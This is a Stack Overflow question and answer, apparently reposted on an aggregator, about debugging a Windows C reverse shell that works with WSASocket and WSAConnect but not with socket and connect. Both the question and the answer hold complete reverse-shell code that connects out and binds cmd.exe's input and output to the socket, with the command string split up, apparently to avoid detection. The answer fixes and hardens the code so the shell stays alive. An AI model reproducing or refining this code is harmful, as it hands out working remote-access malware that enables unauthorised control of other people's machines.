问题
I'm experimenting with some reverse shell code in C. It is working but only if I use WSAConnect()
and WSASocket()
. If I use socket()
or connect()
instead, it's not working. Why is this?
I always use connect()
instead of WSAConnect()
, and socket()
instead of WSASocket()
. I know I am missing something.
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
int main(int argc, char *argv[])
{
WSAStartup(MAKEWORD(2,2), &wsa);
// sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); This also doesn't work
sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
server.sin_family = AF_INET;
server.sin_port = htons(4942);
server.sin_addr.s_addr =inet_addr("127.0.0.1");
// connect(sock, (struct sockaddr*)&server, sizeof(server)); This doesn't work
WSAConnect(sock,(SOCKADDR*)&server, sizeof(server),NULL,NULL,NULL,NULL);
if (WSAGetLastError() == 0) {
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb=sizeof(sinfo);
sinfo.dwFlags=STARTF_USESTDHANDLES;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;
char *myArray[4] = { "cm", "d.e", "x", "e" };
char command[8] = "";
snprintf( command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
exit(0);
} else {
exit(0);
}
}
回答1:
There are some differences between socket()
and WSASocket()
. Most notably:
by default,
socket()
creates aSOCKET
that supports Overlapped I/O, whereasWSASocket()
allows you to specify whether you want theSOCKET
to support Overlapped I/O or not. In other words, by default,socket()
is the same as callingWSASocket()
with theWSA_FLAG_OVERLAPPED
flag. ButCreateProcess()
I/O redirection requiresHANDLE
s that are non-Overlapped. Which is why your use ofsocket()
doesn't work.WSASocket()
allows you to create a socket using a specific provider, whereassocket()
uses a default provider (usually Microsoft's). When using aSOCKET
directly forCreateProcess()
I/O redirection, you need to ensure theSOCKET
's provider actually supports that usage. To ensure that, you should useWSAEnumProtocols()
to enumerate the installed protocols until you find one that supports TCP and has theXP1_IFS_HANDLES
flag (Microsoft's provider does), and then you can haveWSASocket()
use that specific provider via itslpProtocolInfo
parameter.
Every example I can find online for using a SOCKET
to directly redirect CreateProcess()
I/O uses WSASocket()
(but not always WSAEnumProtocols()
). I have not seen a single example using socket()
instead.
However, if you really want to use socket()
, you have 2 choices:
use
setsockopt(SOL_SOCKET, SO_OPENTYPE)
to turn off creation of overlapped sockets by specifying theSO_SYNCHRONOUS_NONALERT
type. Microsoft discourages this option, preferring the use ofWSASocket()
instead.use
CreatePipe()
instead for the actual I/O redirection, and then manually proxy data between the socket and pipe as needed, reading from theSOCKET
to write to the pipe, and reading from the pipe to write to theSOCKET
.
That said, your code is not performing error checking correctly. Also, were you actually able to connect to the server and launch cmd.exe
, you then exit from your app immediately, which closes the socket. You need to keep the socket open for the lifetime of the cmd.exe
process.
Try something more like this instead:
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")
int main(int argc, char *argv[])
{
WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
int res = WSAStartup(MAKEWORD(2,2), &wsa);
if (res != 0)
{
fprintf(stderr, "Can't initialize Winsock. Error %d\n", res);
return 1;
}
// optional: use WSAEnumProtocols() to find a suitable WSAPROTOCOL_INFO
// to pass to the lpProtocolInfo parameter of WSASocket()...
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
{
res = WSAGetLastError();
fprintf(stderr, "Can't create socket. Error %d\n", res);
WSACleanup();
return 1;
}
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(4942);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
res = WSAConnect(sock, (struct sockaddr*)&server, sizeof(server), NULL, NULL, NULL, NULL);
if (res == SOCKET_ERROR)
{
res = WSAGetLastError();
fprintf(stderr, "Can't connect. Error %d\n", res);
closesocket(sock);
WSACleanup();
return 1;
}
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;
char *myArray[4] = { "cm", "d.e", "x", "e" };
char command[8] = "";
snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
if (!CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo))
{
res = GetLastError();
fprintf(stderr, "Can't create process. Error %d\n", res);
closesocket(sock);
WSACleanup();
return 1;
}
CloseHandle(pinfo.hThread);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
closesocket(sock);
WSACleanup();
return 0;
}
来源:https://stackoverflow.com/questions/58269068/why-is-wsaconnect-working-and-connect-not